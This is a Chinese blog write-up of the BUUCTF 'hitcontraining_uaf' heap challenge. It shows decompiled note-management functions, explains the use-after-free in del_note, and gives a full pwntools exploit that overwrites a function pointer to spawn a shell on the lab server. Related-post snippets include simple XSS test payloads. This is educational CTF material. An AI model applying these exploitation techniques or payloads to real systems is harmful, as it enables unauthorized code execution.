BUUCTF-PWN-hitcontraining_uaf

[BUUCTF]PWN——hitcontraining_uaf [BUUCTF]——hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的字符串,发现了/bin/sh,ctrl+x,跟进找到了后面函数,shell_addr=0x8048945 堆的main函数很简单,逻辑很简单,也没什么好说的,直接看菜单的各个选项 add ... 阅读详情

1.checksec

32位的堆题,只开了一个保护,应该很简单,不会很难 

2.IDA

还给了bin/sh字符串,直接返回到0x8048945利用就行

add()函数

int add_note()
{
  int result; // eax
  int v1; // esi
  char buf[8]; // [esp+0h] [ebp-18h] BYREF
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  result = count;
  if ( count > 5 )
    return puts("Full");
  for ( i = 0; i <= 4; ++i )
  {
    result = *((_DWORD *)&notelist + i);
    if ( !result )
    {
      *((_DWORD *)&notelist + i) = malloc(8u);
      if ( !*((_DWORD *)&notelist + i) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      **((_DWORD **)&notelist + i) = print_note_content;
      printf("Note size :");
      read(0, buf, 8u);
      size = atoi(buf);
      v1 = *((_DWORD *)&notelist + i);
      *(_DWORD *)(v1 + 4) = malloc(size);
      if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
      puts("Success !");
      return ++count;
    }
  }
  return result;
}

 创建堆块,通过print_note_content;函数打印堆块中的内容

delete()函数

int del_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
  {
    free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
    free(*((void **)&notelist + v2));
    return puts("Success");
  }
  return result;
}

free之后没有置NULL,可以再次利用,题目的提示UAF

 先释放了有内容的堆块,然后释放了整个堆块

3.EXP

from pwn import*

r=remote('node4.buuoj.cn',25834)
#r=process('./hacknote')

def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def delete(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def printf(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)

r.interactive()

CTFTraining.zip 该资源包含了CTFTraining中大量的CTF题目,需要Docker即可加载,快速构建CTF个人靶场,开始愉快的CTF受虐吧。。。。 立即下载

相关推荐

ctf-training:这包含在 CTF 培训会议中使用的课程计划、练习、工具、脚本、链接等

CSA 每周 CTF 培训 这个 GitHub 存储库用于存储我们每周 CTF 培训会议的先前和当前课程。 每个文件夹都包含该周课程的文件、脚本、链接等。 我们提供了此资源,以便新成员可以查看旧课程,并且可以在实际培训时间后查看课程。 会议于每周三晚上 7:00 - 晚上 8:00 MST 举行,目前通过 Zoom 举行。 2021 年秋季开始后,我们将尝试亲自举行。 Zoom 通话的链接如下。 如果您有想要学习的技能或想要分享的资源,请在 Slack 工作区中告诉我们,我们会添加它! 初学者 CTF 新手? 不确定如何开始? 我们为初学者提供了一份详细说明如何入门的文档,然后您可以完成每周的课程! 只需转到即可开始! 每月 CTF 比赛 这些每周培训会议的目的是为我们将参加的每月 CTF(夺旗)比赛做准备。下面提供了一个指向 Google 表格的链接,用于注册这些每月比赛。 团队通常

buuctf hitcontraining_uaf

会把指针堆块1重新分配给我们,context堆块会把指针堆块0分配给我们(因为我们申请一个堆块实际上是申请两个堆块(一个指针堆块,一个context堆块))程序是先申请一个指针堆块,这个指针堆块的大小为8字节,前四字节存储的是puts函数的指针,后四字节存储的是要申请的堆块内容指针就是相当于这样。3.打印堆块内容,这段代码会把指针堆块的第一个指针来执行函数,如果把第一个指针修改为后门函数指针,就能getshell。2.释放堆块,这个操作,在释放堆块之后,并未把指针置零,所以存在uaf漏洞。

cainiao78777的博客 478

车辆TBOX科普 第64次 TBOX系统集成测试与文档编写

汽车电子开发中,TBOX作为核心网关面临独特挑战:需处理多网络接口、满足严苛安全标准并确保10年以上可靠性。项目文档是开发流程的核心资产,必须与编码同步更新,构建从需求到测试的完整闭环。系统集成测试需分层进行,结合硬件在环测试和自动化工具,并严格管理缺陷。文档与测试深度协同,通过追溯矩阵确保每个需求都被覆盖验证。最终交付不仅是软件包,更是一套包含完整验证报告的信任体系。这种严谨的工程纪律,是将代码转化为车规级可靠产品的关键保障。

IT深耕十余载,大道之简 1323

CTF下加载CTFtraining题库以管理员身份导入 [HCTF 2018]WarmUp,之后以参赛者身份完成解题全过程

------------------导入CTFtraining题库--------------------------------------------------------------做题------------------------------/../../../../ffffllllaaaagggg。-------------------搭建CTFd------------------------------github地址:https://github.com/CTFd/CTFd。

caoyongsheng的博客 2414

分享一下如何使用labelimg制作自己的YOLO数据集

首先准备一下自己的下准备一个空文件夹用于保存标签文件,如下图所示。

skywalkerxhx的博客 831

车载LIN总线避坑指南:主从节点通信失败的5个常见原因及解决方案

本文深度解析车载LIN总线主从节点通信失败的五大常见原因,涵盖物理层信号异常、调度表冲突、LDF配置错误、节点状态机缺陷及环境干扰。重点剖析了LDF文件配置不一致、波特率不匹配等关键问题,并提供了从示波器波形分析到软件配置检查的完整实战排查路径,帮助工程师高效定位并解决LIN通信故障。

g9h0i1的博客 1249

CTF training WriteUp

三周练习和三周考试的writeup 第一周练习 跨站脚本攻击 (XSS) 随便输下面语句 <SCRIPT>alert('XSS')</SCRIPT> <IMG SRC="#" ONERROR="alert('XSS')"/> <INPUT TYPE="BUTTON" ONCLICK="alert('XSS')"/> <IFRAME...

a370793934的专栏 1万+

避坑指南:Unity新版InputSystem在移动端的5个常见问题及解决方案

本文针对Unity新版InputSystem在移动端开发中的常见问题,提供了5个关键解决方案,包括虚拟摇杆灵敏度调节、多点触控冲突处理、按钮反馈延迟优化、手势识别与陀螺仪数据融合以及Android/iOS平台差异处理。这些实战经验帮助开发者高效解决触控适配难题,提升移动游戏体验。

soda5的博客 405

CTF--Training-WWW-Robots

CTF之攻防世界高手进阶题 Training-WWW-Robotsb 题目: 进入场景之后显示如下,由题可知考察的是robots协议 在地址栏加上/robots.txt网页跳转,我们可以看到网页中显示/f10.php不允许显示 同样在地址栏将php网页加上,flag就出现了 ...

qq_40730029的博客 651

【SLAM】探索explore_lite在移动机器人自主建图中的高效边界检测策略

本文深入解析了explore_lite在移动机器人自主建图中的应用,重点探讨了其高效的贪婪边界检测策略。该工具包专为资源受限平台设计,通过直接利用SLAM生成的地图信息,以极低的计算开销实现快速、稳定的未知区域探索,并与move_base导航框架无缝协作,是轻量级机器人自主探索的优选方案。

purple的博客 1067

5分钟搞定微服务架构图:手把手教你用Draw.io画出专业级设计

本文详细介绍了如何使用Draw.io快速绘制专业级微服务架构图。通过5分钟入门教程,掌握核心组件拖拽、连接线优化等技巧,提升系统设计可视化效率。特别适合需要快速呈现分布式系统架构的开发团队,利用内置微服务元素和分层展示功能,轻松创建清晰易懂的技术文档。

pz890123的博客 1238

基于CTFTraining在CTFd部署Web题目

基于CTFTraining在CTFd部署Web题目 docker的使用,靶场搭建

Welcome To My6n Blog 4069

【Zephyr存储专题】06_存储块设备驱动开发(Nand Flash)

本文介绍了基于Zephyr系统的NAND Flash驱动实现方案,重点阐述了Flash驱动模型的核心架构和关键API设计。

zero的博客 1803

BUUCTF Pwn hitcontraining_uaf WP

此时malloc(8),会将该两个堆都申请出来 在malloc时能修改内容,将第一次申请的chunk的打印函数区域修改为目标函数。想法是创建两个大小相同的堆,然后free掉,这时两个具有打印函数的堆会在同一fastbin链表上;先创建了一个堆用于指向打印函数和内容区域,再创建输入大小的堆。此时执行打印第一次申请的chunk 就能得到shell。delnote 没有清空指针 存在UAF。

qq_33348179的博客 248

2023 数字IC设计秋招复盘——数十家公司笔试题、面试实录

由于是本人的亲身经历,所以想通过付费专栏获得一些收益。扣除平台的抽成后,我会将最终收益的一半捐献给贫困山区助学基金。专栏内容: 1. 几十场笔试真题的原题纯净版与个人解答版。 2. 几十场面试实录,包含提问、解答与个人复盘建议。 3. 个人整理的知识点总结。 4. 求职准备、简历制作方面的建议。

w0shishabi的博客 1万+

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

[BUUCTF-pwn]——hitcontraining_uaf

[BUUCTF-pwn]——hitcontraining_uaf 题目地址:https://buuoj.cn/challenges#hitcontraining_uaf 题目给了提示,一个利用UAF漏洞的题目 还是先checksec一下 在IDA中,三个比较关键的函数 我们可以发现add会申请两次内存,第一次申请8个字节,前四个字节指向print_note_content这个函数, 后四个字节指向我们写入的字符串(count会加1) delete则会将刚才申请的两块空间给删除(count不会减一

Y_peak的博客 490

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

BUUCTF-pwn-hitcontraining_uaf(UAF)

这道题可以用来当做堆的入门题来做 开了NX 这是堆的菜单;

半岛铁盒的博客 469

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

hitcontraining_uaf

再看一下del_note函数:先是检查了一下index的范围,再检检查一下当前的notelist列表上是否为空,即检查add时第一步申请的空间的指针,后续释放了两次的空间,但是有个问题:该notelist表还没有清空,指向这个地址的指针还存在于notelist中。,覆盖掉了第一次申请的堆(0x20大小)中存放的print_note_content函数的地址,如果此时直接调用print_note,就会执行我们输入的值所指向的地址出的代码,所以直接用。此时仔细观察,就会的发现我们第三次输入的值。

yjh_fnu_ltn的博客 967

BUUCTF-hitcontraining_magicheap PWN堆学习Unsortedbin

libc2.23.so中的unsortedbin的利用

lplum_的博客 626

buuctf pwn(wustctf2020_closed)(hitcontraining_magicheap)(axb_2019_fmt32)

程序有alarm闹钟函数,并且有明显的格式化字符串漏洞,而且能无限利用格式化字符串漏洞,本来想用我之前的那种解法直接解决的,但是遇到了些问题(下面说),而且这个题目got表可写,所以还是老老实实打got表吧。2.编辑堆块,根据bss段里的指针,来找到相应的堆块,然后输入大小,再填充内容,并未检测原本输入堆块内容的大小,那么此处存在堆溢出。再通过读入,覆盖dest的指针为free的got表地址,然后strcpy将free的got表地址的地址覆盖为shllcode的地址。

cainiao78777的博客 476

CTF Training-WWW-Robots

题目场景: http://220.249.52.133:31059 (温馨提示:每次进入URL的端口号都不一样) 1、点击链接进入以下界面 2、翻译 看到上面的信息,会想到君子协议 robots.txt; 3、URL为http://220.249.52.133:31059/robots.txt(在最后直接加上“/robots.txt”)—>回车 4、这是URL为http://220.249.52.133:31059/fl0g.php—>回车 5、OK cyberpeace{c598a5

艺博东的博客 1万+

CTFTraining+CTFd环境搭建centos7

CTFTraining环境搭建 大部分是看教程来的,入了很多坑,总结可行的方法。 文章目录CTFTraining环境搭建一、环境准备二、使用教程 一、环境准备 1.安装系统:centos7 2.环境:装python3 参考:https://www.jianshu.com/p/e191f9dc1186 3.需要装:Docker 参考:https://www.jianshu.com/p/791740ca7d7a 4.安装:docker-compose (这个需要安装python3 pip)

zji 1048

BUUCTF hitcontraining_uaf

这是我第一次自己做出来的堆题,,????动 没什么特别,,看一看代码 还是一个堆块管理系统,不过这次他管理的时候有些不一样 1.add 不一样就在这里,,如果要创建一个用户数据,,先malloc一个八字节的指针堆块(我这么叫。。里面放着指针),,这八字节,前四个字节是一个pirnt_note_content函数,,这个函数的作用是以他后面相邻四个字节的数据为指针,打印这个指针里面的内容;;;申请...

BengDouLove的博客 1110

[BUUCTF]PWN——starctf_2019_babyshell(有限制的shellcode)

starctf_2019_babyshell 例行检查,64位程序,开启了nx main函数,往buf里写入shellcode,然后程序会执行shellcod sub_400786(),这个函数会对我们输入的shellcode进行检查 检查的时候*i即可退出,可以使用\x00来绕过。 ...

mcmuyanga的博客 1389

[CTFTraining] 0CTF 2016 Unserialize

[CTFTraining] 0CTF 2016 Unserialize

ZXW_NUDT的博客 3444
上一篇: BUUCTF-bjdctf_2020_babyrop2-WP
下一篇: BUUCTF-PWN-inndy_rop
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值